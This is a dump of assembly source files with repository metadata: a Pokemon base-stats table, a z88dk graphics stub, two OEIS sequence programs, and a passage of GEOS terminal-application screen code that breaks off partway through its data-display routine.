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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b49e3b8d2348bf3defe5b75559cce0555b613e63 | 523 | asm | Assembly | data/baseStats/dodrio.asm | etdv-thevoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | 1 | 2022-01-09T05:28:52.000Z | 2022-01-09T05:28:52.000Z | data/baseStats/dodrio.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | data/baseStats/dodrio.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | db DODRIO ; pokedex id
db 60 ; base hp
db 110 ; base attack
db 70 ; base defense
db 110 ; base speed
db 60 ; base special
db NORMAL ; species type 1
db FLYING ; species type 2
db 45 ; catch rate
db 158 ; base exp yield
INCBIN "pic/gsmon/dodrio.pic",0,1 ; 77, sprite dimensions
dw DodrioPicFront
dw DodrioPicBack
; attacks known at lvl 0
db PECK
db GROWL
db 0
db 0
db 0 ; growth rate
; learnset
tmlearn 2,3,4,6,8
tmlearn 9,10,15
tmlearn 20
tmlearn 31,32
tmlearn 33,34
tmlearn 44
tmlearn 49,50
db BANK(DodrioPicFront)
| 18.034483 | 57 | 0.732314 |
cd92cb980d150a353da387cbf1d7a9168e089908 | 210 | asm | Assembly | libsrc/gfx/portable/drawto.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/gfx/portable/drawto.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/gfx/portable/drawto.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_graphics
PUBLIC drawto
PUBLIC _drawto
EXTERN commondrawto
EXTERN plot
;void drawto(int x2, int y2) __smallc
;Note ints are actually uint8_t
drawto:
_drawto:
ld hl,plot
jp commondrawto
| 12.352941 | 38 | 0.771429 |
37251c1c67283d03a5cbe7cd35930e23a432357f | 1,062 | asm | Assembly | programs/oeis/245/A245380.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/245/A245380.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/245/A245380.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A245380: (7*n^5+5*n^3)/12.
; 0,1,22,153,624,1875,4626,9947,19328,34749,58750,94501,145872,217503,314874,444375,613376,830297,1104678,1447249,1870000,2386251,3010722,3759603,4650624,5703125,6938126,8378397,10048528,11974999,14186250,16712751,19587072,22843953,26520374,30655625,35291376,40471747,46243378,52655499,59760000,67611501,76267422,85788053,96236624,107679375,120185626,133827847,148681728,164826249,182343750,201320001,221844272,244009403,267911874,293651875,321333376,351064197,382956078,417124749,453690000,492775751,534510122,579025503,626458624,676950625,730647126,787698297,848258928,912488499,980551250,1052616251,1128857472,1209453853,1294589374,1384453125,1479239376,1579147647,1684382778,1795154999,1911680000,2034179001,2162878822,2298011953,2439816624,2588536875,2744422626,2907729747,3078720128,3257661749,3444828750,3640501501,3844966672,4058517303,4281452874,4514079375,4756709376,5009662097,5273263478,5547846249
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,8384 ; Crystal ball sequence for A_4 lattice.
add $1,$2
lpe
mov $0,$1
| 88.5 | 909 | 0.84275 |
31a243306e7629e7c8c2f0f1cb53f92dc4bf24d3 | 498 | asm | Assembly | oeis/218/A218173.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/218/A218173.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/218/A218173.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A218173: Expansion of f(x^7, x^17) - x^2 * f(x, x^23) in powers of x where f(,) is Ramanujan's two-variable theta function.
; Submitted by Christian Krause
; 1,0,-1,-1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,-1,0,0,-1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0
mul $0,2
add $0,1
seq $0,121373 ; Expansion of f(x) = f(x, -x^2) in powers of x where f(, ) is Ramanujan's general theta function.
| 62.25 | 207 | 0.594378 |
045044b6cb5043e3cdfdf2ff0b8f170f014b828a | 170,240 | asm | Assembly | Appl/Term/Screen/screenMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/Term/Screen/screenMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/Term/Screen/screenMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Screen
FILE: screenMain.asm
AUTHOR: Dennis Chow, September 8, 1989
ROUTINES:
Name Description
---- -----------
?? INT ScreenResetInitialValues
When we are in a Lazarus state (opening up
again before we have completely closed),
the screenObject still has all of its old
instance data. TermDetach frees all the
buffers, but some of the values can still
be problematic. Reset all the instance data
to what it would be if we had started with
a freshly instantiated object. Make sure
this agrees with termui.ui
MTD MSG_SCR_DISPLAY_DATA_FROM_REMOTE
Display data sent from remote connection
MTD MSG_SCR_DISPLAY_INTL_CHAR
Display an international character as local
echo
MTD MSG_SCR_ERASE_INTL_CHAR Erase the current international character
?? INT ScreenCheckCursorPos Checks to make sure the cursor is in a
valid position
?? INT AssertCurCharCurPos Process the data in auxilary buffer
?? INT ScreenSetViewSize Set the screen font to Bison 9 or Bison 12
?? INT ScreenBison12 Set the screen font to Bison 12
MTD MSG_SCR_CURSOR_UP_OR_SCROLL
Move cursor up 1 row. If already at top of
scroll region, scroll region down. If
cursor is above the scroll region will not
scroll (VT100 behavior)
MTD MSG_SCR_CURSOR_DOWN_OR_SCROLL
Move cursor down 1 row. If already at
bottom of scroll region, scroll the region
up. If cursor is below the scroll region,
will not scroll (VT100 behavior)
MTD MSG_SCR_CLEAR_SCREEN_AND_SCROLL_BUF
Clear screen and scroll buffer
MTD MSG_SCR_CLEAR_TO_BEG_LINE
Clears current line from first column to
cursor (inclusive)
MTD MSG_SCR_CLEAR_TO_BEG_DISP
Clears chars from upper left of disp to
cursor (inclusive)
MTD MSG_SCR_CLEAR_LINE Clears entire current line
MTD MSG_SCR_RESET_SCROLLREG Reset the scroll region
MTD MSG_META_LOST_FOCUS_EXCL
MTD MSG_META_LOST_SYS_FOCUS_EXCL
MTD MSG_META_GAINED_FOCUS_EXCL
MTD MSG_META_GAINED_SYS_FOCUS_EXCL
INT SendScreenFocusNotification
Sends the
GWNT_EDITABLE_TEXT_OBJECT_HAS_FOCUS
notification.
?? INT CheckForTextItem check if current quick-transfer item
supports CIF_TEXT format
?? INT ScreenViewClosingQT handle closing of window, stop
drag-selection and stop quick transfer
MTD MSG_SCR_SEND_BREAK Send a BREAK signal out the serial line.
MTD MSG_SCR_IGNORE_ESC_SEQ Do nothing for the parsed escape sequence
MTD MSG_SCR_RENEW_GRAPHICS_ON
Reset graphics attributes and then set the
new ones
MTD MSG_SCR_RENEW_SCROLL_REG_BOTTOM
Reset the top of scroll region and set the
bottom to new value
MTD MSG_META_BRING_UP_HELP MSG_META_BRING_UP_HELP must be handled be a
GenClass object
?? INT ScreenFepCallBack callback routine for FEP
?? INT ScreenFepGetTempTextBounds
suggest bounds for the temp text window
?? INT ScreenFepGetTempTextAttr
get temp text attributes for FEP
?? INT ScreenFepInsertTempText send the passed text to the serial port
?? INT ScreenFepDeleteText delete the N characters immediately before
the current cursor position
MTD MSG_SCR_GET_FEP_TEMP_TEXT_ATTR
return character attributes of text at
current position
MTD MSG_SCR_GET_FEP_TEMP_TEXT_BOUNDS
return bounds of text at current position
MTD MSG_SCR_ZOOM Changes "zoom in" moniker to "zoom out",
and sends change font size message to
ourselves.
MTD MSG_SCR_UNZOOM Changes "zoom out" moniker to "zoom in",
and sends message to ourselves to reduce
font size.
?? INT SetNotUsable Set a certain Object usable or not usable
?? INT SetUsable Set a certain Object usable or not usable
MTD MSG_SCR_SPECIAL_KEY_INSERT
Insert a special key
MTD MSG_SCR_RESPOND_WHAT_ARE_YOU
Respond to What Are You request
MTD MSG_SCR_RESPOND_CURSOR_POSITION
Sends current cursor position back to host
?? INT SendResponse Sends a string to the host, inserting
numeric arguments as needed.
MTD MSG_SCR_SELECT_G Select character set designator to G0
MTD MSG_SCR_SELECT_G Select character set designator to G1
MTD MSG_SCR_G Choose Special graphics character set for
G0
MTD MSG_SCR_G Choose Special graphics character set for
G1
MTD MSG_SCR_SAVE_INTL_CHAR Save the current editing international
character
MTD MSG_SCR_RESTORE_INTL_CHAR
Restore the international character being
edited
MTD MSG_SCR_SAVE_CUR_CHAR Save the character at the current cursor
position
MTD MSG_SCR_RESTORE_CUR_CHAR
Restore the character at cursor position
saved by ScreenSaveCurChar
MTD MSG_SCR_RESUME_KEYBOARD_INPUT
Resume regular keyboard input sequence
MTD MSG_SCR_SYNC Synchronize with sender of this message
MTD MSG_SCR_RESET_VT Reset the Virtual Terminal settings
REVISION HISTORY:
Name Date Description
---- ---- -----------
dc 9/ 8/89 Initial revision.
DESCRIPTION:
There are a few method handlers in here that may seem
obsolete, inconsistenly-named, or even downright buggy
(check out the CURSOR_UP/DOWN messages). This was done
to preserve any behavior that terminals other than VT100
might rely on. Someone with more time can go back through
and figure out the minimal feature set the screen object
must provide to implement all the desired terminal types.
$Id: screenMain.asm,v 1.1 97/04/04 16:55:47 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenInitialize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize a screen object
CALLED BY: MSG_META_INITIALIZE via TermAttach
PASS: ds:*si - screen instance data
es - dgroup
RETURN: C - set if not enough memory to create screen obj
DESTROYED: es, ax, cx, di, si
PSEUDO CODE/STRATEGY:
set default values for screen object
allocate buffers
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 8/24/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenInitialize method ScreenClass, MSG_META_INITIALIZE
mov si, ds:[si] ;dereference the ptr
tst es:[termLazarusing]
jz startingFresh
call ScreenResetInitialValues
startingFresh:
mov ax, FILE_CACHE_SIZE ;get 1K swappable
mov cx, ALLOC_DYNAMIC ; file cache
call MemAlloc
jc error_JC ;if no memory, flag error
mov ds:[si][SI_cacheHandle], bx ;save handle to file cache
mov ax, SCROLL_BUF_SIZE ;get swappable 25K buffer to
mov cx, ALLOC_DYNAMIC ; hold scroll data
call MemAlloc ;
jc error_JC ;if no memory, flag error
mov ds:[si][SI_scrollHandle], bx ;save handle to buffer
mov ax, SCREEN_SIZE ;get memory for screen buffer
mov cx, (mask HAF_ZERO_INIT shl 8) or ALLOC_DYNAMIC
call MemAlloc ;
error_JC:
LONG jc error ;exit if can't get memory
mov ds:[si][SI_screenHandle], bx ;store handle to segment
call BufClear
push si ;save ptr to instance data
sub sp, size RectDWord
mov dx, sp ;pass buffer in cx:dx
mov cx, ss
GetResourceHandleNS TermView, bx
mov si, offset TermView
mov di, mask MF_CALL or mask MF_FIXUP_DS
mov ax, MSG_GEN_VIEW_GET_DOC_BOUNDS
call ObjMessage
mov bp, dx
mov cx, ss:[bp].RD_right.low ;put size in cx, dx
mov dx, ss:[bp].RD_bottom.low
add sp, size RectDWord
pop si ;restore ptr to instance data
mov ds:[si][SI_docWidth], cx ;cx - width of doc
mov ds:[si][SI_docHeight], dx ;dx - height of doc
if _MODEM_STATUS
;
; Allocate the GState now
;
push bp
clr di ; no window yet
call GrCreateState ; ^hdi <- GState
mov ds:[si][SI_gState], di
call RestoreScreenState
pop bp
endif
push si ;save ptr to screen instance
mov ax, MSG_VIS_GET_SIZE
mov di, mask MF_RECORD
mov bx, segment GenFieldClass
mov si, offset GenFieldClass
call ObjMessage
mov cx, di ;event in cx
mov ax, MSG_VIS_VUP_CALL_OBJECT_OF_CLASS
GetResourceHandleNS MyApp, bx
mov si, offset MyApp
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov ss:[fieldWinWidth], cx
mov ss:[fieldWinHeight], dx
;
; force height to 12 if starting on CGA from scratch
;
cmp ss:[restoreFromState], TRUE
je noForce
GetResourceHandleNS MyApp, bx
mov si, offset MyApp
mov ax, MSG_GEN_APPLICATION_GET_DISPLAY_SCHEME ; ah - display type
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov al, ah ; al = ah = display type
andnf al, mask DT_DISP_CLASS
cmp al, DC_GRAY_1 shl offset DT_DISP_CLASS ; mono?
jne noForce ; nope
cmp ah, CGA_DISPLAY_TYPE ; CGA?
jne noForce
mov dx, 12 ; #lines = (dx.cx)
clr cx
GetResourceHandleNS WinLinesRange, bx
mov si, offset WinLinesRange
mov ax, MSG_GEN_VALUE_SET_VALUE
clr bp
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
noForce:
pop si
mov dl, FALSE
mov ss:[inCopy], dl ;clear QUICK_COPY flag
mov ss:[curInSelect], dl ;clear cursor in select region
mov ss:[inDragSelect], dl ; flag
mov ss:[scrollLocked], dl
call ResetView
CallMod DisableSaveScroll
clc ;clear error flag
jmp short exit
error:
segmov ds, ss, bp
mov bp, ERR_NO_MEM_ABORT
CallMod DisplayErrorMessage
stc ;set error flag
exit:
ret
ScreenInitialize endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenResetInitialValues
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: When we are in a Lazarus state (opening up again before we
have completely closed), the screenObject still has all of
its old instance data. TermDetach frees all the buffers,
but some of the values can still be problematic.
Reset all the instance data to what it would be if
we had started with a freshly instantiated object.
Make sure this agrees with termui.ui
CALLED BY: ScreenInitialize
PASS: ds:si - ScreenClass object
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 11/18/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenResetInitialValues proc near
class ScreenClass
uses ax, cx, es, di
.enter
segmov es, ds, di
mov di, si ; es:di is ScreenClass instance data
add di, offset SI_fontColor ; first instance data field
;
; Clear all of the instance data, then go back and set certain values
;
clr ax
;
; the size of the instance data is the offset of the last instance
; field (plus the size of that field) minus the offset of the first.
;
mov cx, (offset SI_intFlags) + \
(size ScreenInternalFlags) - \
(offset SI_fontColor)
shr cx, 1 ; divide by two for # of words
jnc evenAmount
stosb ; account for odd byte, if there is one
evenAmount:
rep stosw
;
; set all the exceptions
;
CheckHack< FALSE eq 0> ; all fields set to FALSE are already 0
mov ds:[si].SI_fontColor, C_BLACK
mov ds:[si].SI_gState, BOGUS_VAL
mov ds:[si].SI_lineHeight, DEF_FONT_HEIGHT
mov ds:[si].SI_leading, DEF_FONT_LEADING
mov ds:[si].SI_charWidth, DEF_FONT_WIDTH
mov ds:[si].SI_backColor, C_WHITE
mov ds:[si].SI_scrollRegBot, (MAX_LINES - 1)
mov ds:[si].SI_autoWrap, TRUE
mov ds:[si].SI_winWidth, INIT_WIDTH
mov ds:[si].SI_winHeight, INIT_HEIGHT
mov ds:[si].SI_capHandle, BOGUS_VAL
mov ds:[si].SI_maxLines, MAX_LINES
mov ds:[si].SI_maxCols, INIT_LINE_CHARS
.leave
ret
ScreenResetInitialValues endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenDraw
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the screen object
CALLED BY: MSG_META_EXPOSED
PASS: ds:*si - screen instance data
es - dgroup
cx - window to draw to
[SI_screenBuf] - pointing to unlocked segment
RETURN: ---
DESTROYED: ---
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 8/24/89 Initial version
dennis 12/06/89 transfered from TermClass to ScreenClass
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenDraw method ScreenClass, MSG_META_EXPOSED
cmp ss:[termStatus], DORKED ;if this is bogus method
je exit ; exit
cmp ss:[termStatus], OFF_LINE ;if this is bogus method
je exit ; exit
mov si, ds:[si] ;get ptr to instance data
cmp ds:[si][SI_iconified], TRUE ;if we've shrunk don't need to
je exit ; update
mov di, ds:[si][SI_gState] ;get gState
cmp di, BOGUS_VAL ;is gState valid?
jne SD_ok ;yes, continue
mov ds:[si][SI_winHandle], cx ;else
mov di, cx ;store the window and
call GrCreateState ;create a GState
mov ds:[si][SI_gState], di ;
call RestoreScreenState
SD_ok:
call GrBeginUpdate
call DrawDocument ;draw document on top
call GrEndUpdate
;-----------------------------------------------------------------------------
;moved here from ScreenViewClosing
call GrGetWinBounds ;
mov cx, ds:[si][SI_lineHeight] ;The way scrolling is handle
shl cx, 1 ; is that we compare the bottom
sub dx, cx ; of the cursor against the
inc dx ; bottom of the window. When
mov ds:[si][SI_winBottom], dx ; we're iconified we have no
;-----------------------------------------------------------------------------
exit:
ret
ScreenDraw endm
ScreenViewOpening method ScreenClass, MSG_META_CONTENT_VIEW_OPENING
mov ds:[di][SI_iconified], FALSE
ret
ScreenViewOpening endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenViewClosing
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Window being closed, destroy the GState
CALLED BY:
PASS: ds:*si - instance data
es - dgroup
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenViewClosing method ScreenClass, MSG_META_CONTENT_VIEW_CLOSING
call ScreenViewClosingQT ; handle ending QT, if needed
;if shutting down application cauz of lack of memory then
;we don't have a Gstate to destroy
cmp ss:[termStatus], DORKED
je exit
mov si, ds:[si] ;dereference object pointer
mov di, ds:[si][SI_gState] ;destroy our gstate
;
;brianc found a bug where if he launched all the applications and then
;quickly exited to DOS, geoComm crashed in this method handler
;because I expect to have a valid gState and conceiveably I may never have
;gotten a MSG_META_EXPOSED (which is where I create my gState.
;
cmp di, BOGUS_VAL
je exit
;too late to do this here, window is hosed, so do in ScreenDraw instead,
;slower but no crash - brianc 2/24/94
if 0
call GrGetWinBounds ;
mov cx, ds:[si][SI_lineHeight] ;The way scrolling is handle
shl cx, 1 ; is that we compare the bottom
sub dx, cx ; of the cursor against the
inc dx ; bottom of the window. When
mov ds:[si][SI_winBottom], dx ; we're iconified we have no
endif
call GrDestroyState ; window, so we store the
; bottom of the window now.
mov ds:[si][SI_gState], BOGUS_VAL ;flag gState dorked
mov ds:[si][SI_iconified], TRUE ;we've shrunk
exit:
ret
ScreenViewClosing endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenCheckCursorPos
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Checks to make sure the cursor is in a valid position
CALLED BY: DrawCursor
PASS: ds:si = ScreenClass instance data
RETURN: nothing
DESTROYED: nothing (not even flags)
SIDE EFFECTS:
FatalError's if invalid position
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 2/21/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if ERROR_CHECK
ScreenCheckCursorPos proc near
class ScreenClass
pushf
.enter
cmp ds:[si][SI_curChar], MAX_LINE_CHARS
jae problem
; ERROR_AE TERM_ERROR_INVALID_CURSOR_POSITION
cmp ds:[si][SI_curLine], MAX_LINES
jb exit
; ERROR_AE TERM_ERROR_INVALID_CURSOR_POSITION
problem:
nop
exit:
.leave
popf
ret
ScreenCheckCursorPos endp
endif ; ERROR_CHECK
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenData
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Process the data in auxilary buffer
CALLED BY: SerialInThread, TermScreenDraw
PASS: *ds:si - instance data
ss - dgroup (because the term:0 thread is running
this object)
*ds:si[SI_screenBuf] - pointing to unlocked segment
cx - if 0, it means that the characters have been
passed on the stack. Else, cx = handle of block
which contains characters. Must free block
when done with it!
dx - number of bytes to process
ss:bp = data on stack (if cx = 0)
OLD:
cx - number of chars in buffer
dx:bp - buffer to read chars from
RETURN: ds, dx = same
DESTROYED: ax, bx, cx, bp, es, si
PSEUDO CODE/STRATEGY:
Create GState
if character printable
store it in buffer
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 8/22/89 Initial version
eric 10/90 Updated to accept data from stack or
a block on the global heap, but NOT auxBuf,
allowing asynchronous operation.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenData method ScreenClass, MSG_SCR_DATA
;we will push DX as soon as we set bp = sp!
if DBCS_PCGEOS
mov ax, dx ;ax = # bytes
shr ax, 1 ;ax = # chars
mov ss:[scrNumChars], ax ;save num of chars to process
else
mov ss:[scrNumChars], dx ;save num of chars to process
endif
mov ss:[scrBlockToFree], cx ;save handle of block to free
;when exit handler. (0 means none)
mov si, ds:[si] ;dereference object pointer
tst cx
jnz readFromBlock
readFromStack:
ForceRef readFromStack
;the characters have been passed on the stack.
;
; In Responder, not only FSM calls MSG_SCR_DATA, but also
; TermBogusGenText object. So it doesn't usually have
; dgroup:fsmStackDataID pushed for EC. Therefore, just ignore this
; check in Responder.
;
EC < sub dx, 2 ;remove ID from count >
EC < dec ss:[scrNumChars] >
if not DBCS_PCGEOS
; if DBCS'd, error occurs here since in previous routine, the ID is treated
; as a word. Under SBCS, the # of bytes = # of chars, and # chars is
; decremented twice in the EC code below. However, under DBCS, the char
; count is reduced by one since the buffer size is div'd by 2. This leads
; to the problem of subtracting one too many characters from the actual
; length when decrementing below. So decrement again only if in SBCS.
EC < dec ss:[scrNumChars] >
endif ; ! DBCS_PCGEOS
if ERROR_CHECK
mov di, bp
add di, dx
mov ax, ss:[di] ;get ID
cmp ax, ss:[scrStackDataID] ;compare to what we expect
ERROR_NE TERM_ERROR ;bail if error
inc ss:[scrStackDataID] ;prepare for next
endif ; ERROR_CHECK
segmov es, ss, bx ;set es:bp = data on stack
jmp short readyToProcess ;skip to process chars...
readFromBlock:
;the characters have been passed in a block on the global heap
;Point to the block (we will free it before exiting this handler)
mov bx, cx ;bx = handle of block on global heap
call MemLock ;lock block, set ax = segment
mov es, ax ;set es:bp = data in block
clr bp
readyToProcess:
;es:bp = pointer to first character to process.
if _CAPTURE_CLEAN_TEXT
;
; Capture text if necessary, otherwise, FileCaptureText just does
; nothing.
;
call FileCaptureText ;nothing destroyed
endif ; _CAPTURE_CLEAN_TEXT
push dx ;MUST return same DX, or ObjMessage
;will screw up!
mov bx, ds:[si][SI_screenHandle] ;lock screen buffer
call MemLock ;
mov ds:[si][SI_screenBuf], ax ;
if _MODEM_STATUS
;
; Since the window hasn't been displayed yet, winHandle is null. But
; we still want to draw the data. So, test on GState instead.
;
cmp ds:[si][SI_gState], BOGUS_VAL
LONG je SD_ret
else ; if !_MODEM_STATUS
tst ds:[si][SI_winHandle] ;get pane window from core block
jnz SD_winOK ;no
jmp SD_ret ;yes, exit
endif ; if _MODEM_STATUS
SD_winOK:
mov di, ds:[si][SI_gState] ;get gState for the window
call EraseCursor ;nuke cursor before print
NCUR < cmp ds:[si][SI_curChar], MAX_LINE_CHARS ;are we at end of line?>
CUR < cmp ds:[si][SI_curPos], MAX_LINE_CHARS >
jb printChars ;nope
tst ds:[si][SI_autoWrap]
jnz doWrap
;
; VT100 no-wrap mode puts overflow chars in 80th column
;
cmp ss:[termType], VT100
jne SD_ret ;yep, bogus and bail.
NCUR < dec ds:[si][SI_curChar] ; back up to 80th column >
CUR < dec ds:[si][SI_curPos] >
jmp printChars
doWrap:
call DoNewLine ;if at end of line insert line
printChars:
cmp ds:[si][SI_inScroll], FALSE ;if we scrolled away from
je saveCursor ; window, then reset the
call ScrollResetView ; view
saveCursor:
push ds:[si][SI_curChar] ;save the old cursor position
CUR < push ds:[si][SI_curPos] >
CUR <EC <call AssertCurCharCurPos >>
SD_getChar:
SBCS < mov dl, es:[bp] ;get char to process >
DBCS < mov dx, es:[bp] ;get char to process >
SBCS < cmp dl, CHAR_PRINT ;is this a printable char>
DBCS < cmp dx, CHAR_PRINT ;is this a printable char>
jae SD_store ;yep, store it
; (allow high-ASCII chars)
jmp SD_next ;get next char
SD_store:
cmp ds:[si][SI_insertMode], TRUE
jne SD_stuff
call BufShiftLineRight
SD_stuff:
tst ds:[si][SI_ignoreNL] ;if VT100 don't wrap until write
jz 10$ ; on 81st column
NCUR < cmp ds:[si][SI_curChar], MAX_LINE_CHARS >
CUR < cmp ds:[si][SI_curPos], MAX_LINE_CHARS >
jb 10$ ;continue
tst ds:[si][SI_autoWrap] ;else is wrapping set?
je drawText ;no, quit storing stuff
call DoNewLine ;yes, wrap to next line
10$:
call BufStoreData ;stuff char into screen buf
inc ds:[si][SI_curChar] ;increment cursor
CUR < inc ds:[si][SI_curPos] >
CUR < mov ax, dx ;ax = char >
CUR < call CheckHalfWidth ;carry set if halfwidth >
CUR < jc haveWidth >
CUR < inc ds:[si][SI_curPos] ;full-width char >
CUR <haveWidth: >
CUR <EC <call AssertCurCharCurPos >>
tst ds:[si][SI_ignoreNL] ;if this is VT100
jnz SD_next ;then don't wrap till later
NCUR < cmp ds:[si][SI_curChar], MAX_LINE_CHARS >
CUR < cmp ds:[si][SI_curPos], MAX_LINE_CHARS >
jb SD_next ;
tst ds:[si][SI_autoWrap] ;then wrap immediately
je SD_next ;
call DoNewLine ;
SD_next:
inc bp ;pt to next char
DBCS < inc bp >
dec ss:[scrNumChars] ;done with buffer?
jne SD_getChar ;nope, do next char
drawText:
mov bp, ds:[si][SI_curChar] ;save updated cursor
CUR < mov dx, ds:[si][SI_curPos] >
CUR < pop ds:[si][SI_curPos]
